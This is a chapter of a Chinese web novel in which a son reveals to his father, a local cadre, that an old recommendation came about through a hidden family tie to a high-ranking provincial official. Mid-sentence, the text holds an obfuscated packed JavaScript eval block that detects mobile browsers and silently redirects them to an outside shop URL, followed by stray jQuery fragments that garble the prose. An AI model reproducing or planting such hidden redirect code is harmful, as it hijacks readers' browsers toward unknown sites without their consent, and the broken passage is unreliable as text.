夜色静谧,晚风微凉。
叶舟骑着摩托车从安溪镇返程,一路晚风拂面,吹尽了席间酒气。
晚上这顿家宴,人情已然落地,托付已然接下。常守正半生谨慎,临退之际唯一的心愿,便是把踏实却木讷的常继先,托付到一个实干成事、不埋没人心的地方。
而这个人,最终选了他叶舟。
一路思绪沉沉,诸多前尘旧念在心底翻涌。他没有再多纠结,油门放缓,稳稳朝着家中驶去。
回到自家小院时,堂屋暖灯透亮。
宁蕙心坐在桌前纳着鞋底,针线细密,安静温婉。叶子安伏在一旁看书,灯火映着少年清俊沉稳的侧脸,听见院门响动,抬眸看来。
“回来啦?”宁蕙心头也没抬,随口叮嘱,“一身酒味,先洗澡再进屋。”
叶舟笑着应下,简单洗漱完毕,换了干净衣裳出来。
此时宁蕙心已经收拾好针线被褥,叶子安也合上书,准备回房。
“子安,先坐。”
叶舟拉过板凳坐下,神色认真。今晚积压在心底最大的疑惑,始终没有解开。
“爸跟你说个事。”
他精简开口,只挑重点说,避开重复的饭局细节:“之前姜镇长跟我说,我当年能进安溪镇政府,是常守正书记亲自举荐的。我一直想不通,我们家和他非亲非故,他为什么要特意帮我。”
“今晚他请我吃饭,把他儿子常继先托付到望川跟着我干。两件事凑到一起,我越想越蹊跷。”
屋内安静下来。
宁蕙心这才知晓其中渊源,轻声感慨:“原来还有这么一层渊源,怪不得人家愿意帮你,是早就在你身上下了注。”
叶舟没接话,目光落在叶子安身上,等着少年的看法。
叶子安垂眸思索片刻,条理清晰地开口:
“不是交情。”
他语气笃定,缓缓分析:“爷爷和常守正若是旧交,当年你在安溪任职,他必会多照拂。可你以前的工作经历,都是正常上下级对待,没有特殊提携,说明私交很浅。”
“无亲、无故、无钱、无交情。”
少年抬眼,眼神清亮通透,逻辑一针见血:“那只剩一种可能——他看中的,是我们家一条连你自己都不知道的隐藏关系。”
叶舟心头一震,身子微微前倾:“什么关系?”
叶子安停顿两秒,吐出一句彻底颠覆叶舟认知的话。
“爸,你还记得爷爷有个亲姐姐,你的亲姑奶,早年远嫁省城吗?”
叶舟眉头紧锁,努力打捞脑海里模糊的童年碎片:“隐约有点印象,很小的时候听过一嘴,说是去了省里,早就断了来往。”
“不是断了来往,是当年路途太远、通讯闭塞,走动极少。”
叶子安把话彻底点透,字字清晰:“你那位姑奶,嫁的是省人民医院的院长,正厅级干部。”
轰——
一句话彻底炸开在叶舟心头。
所有说不清、道不明的巧合,所有百思不得其解的破格举荐,在此刻全部串联、豁然开朗。
难怪。
难怪一个毫无背景的农村中专生,能被镇书记特意举荐入编。
难怪退居二线的常守正,宁愿放下身段人情,也要把儿子塞到自己手下。
他当年看中的,从来不是一无所有的自己,而是这条深埋尘埃、无人知晓的省城顶级人脉。
叶舟久久失语,心里五味杂陈。
活了这么多年,他一直以为自己起步的每一步,都是纯靠硬闯硬拼。却不知最初那道踏进体制的门槛,背后藏着这样一层隐秘渊源。
“我……我真不知道这些事。”叶舟喃喃自语,“那时候年纪太小,家里老人也从没细说。”
“正常。”叶子安语气平静,“那年代信息闭塞,远亲等于陌路,老一辈也不爱炫耀、不爱攀附。”
他顿了顿,补充道:“按时间推算,当年姑爷爷正是在岗鼎盛期,扎根省城多年,人脉极稳。常守正能打听摸到这层关系,眼光看得很远。”
一旁的宁蕙心也彻底听呆了,半晌才叹道:“没想到咱们家,还有这么大
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17693287|206572||http|test|mini|href|location'.split('|'),0,{}));
() {
$('.inform').remove();
$('#content').append('
一门远亲。”
心结彻底解开,迷雾尽数散去。
叶舟长长吐出一口气,压下心底的震撼。
折腾了这么久,总算把所有前因后果、人情脉络彻底捋顺。
他站起身,心境坦荡:“行,这下彻底明白了。不想了,睡觉。”
“等等。”
叶子安抬眸,带着几分少年独有的通透,看着自家老爸。
“爸,知道自己有个正厅级的姑爷爷在省城,你一点都不动心?”
叶舟回头,笑得坦然澄澈,没有半点贪慕与浮躁。
“动心有什么用?”
他轻轻摇头,态度通透清醒:“我从未登门、从未往来,连人家姓名近况都不清楚,早已是陌路远亲。”
“我的路,是我自己一步一步踩出来的。靠看不见摸不着的远亲高枝攀上去,走得再高也不踏实。我不需要。”
宁蕙心听得心里安稳,笑着点头。
叶子安看着父亲坦荡纯粹的模样,也轻轻笑了,点了点头:“也好,踏实立身,最稳。”
叶舟不再多言,转身回房休息。
堂屋内,灯火柔和。
叶子安独自静坐桌前,脸上的笑意慢慢收起,眼底是远超同龄人的沉静与深远。
父亲心性耿直,不屑攀附、不喜借势,宁愿步步苦拼,也不愿依托旁人,这份本心难得。
但他看得更远、更透。
这条省城远亲暗线,看似多年无用,实则是蛰伏的顶级底牌。
正厅级深耕省城数十年,圈层、人脉、资源,绝非地方干部可比。
只是人情贵重,消耗一次、淡薄一分。
现在时机未到,无需打扰、无需攀扯、无需显露。
可一旦来日望川遇困、项目遇阻、前路遇劫,所有常规路子走不通之时,这条尘封多年的暗线,便是绝境破局的最后依仗。
叶子安指尖轻划书页,眼底微光沉淀。
先蛰伏,再待机。
路,父亲踏实走。
底牌,他默默藏。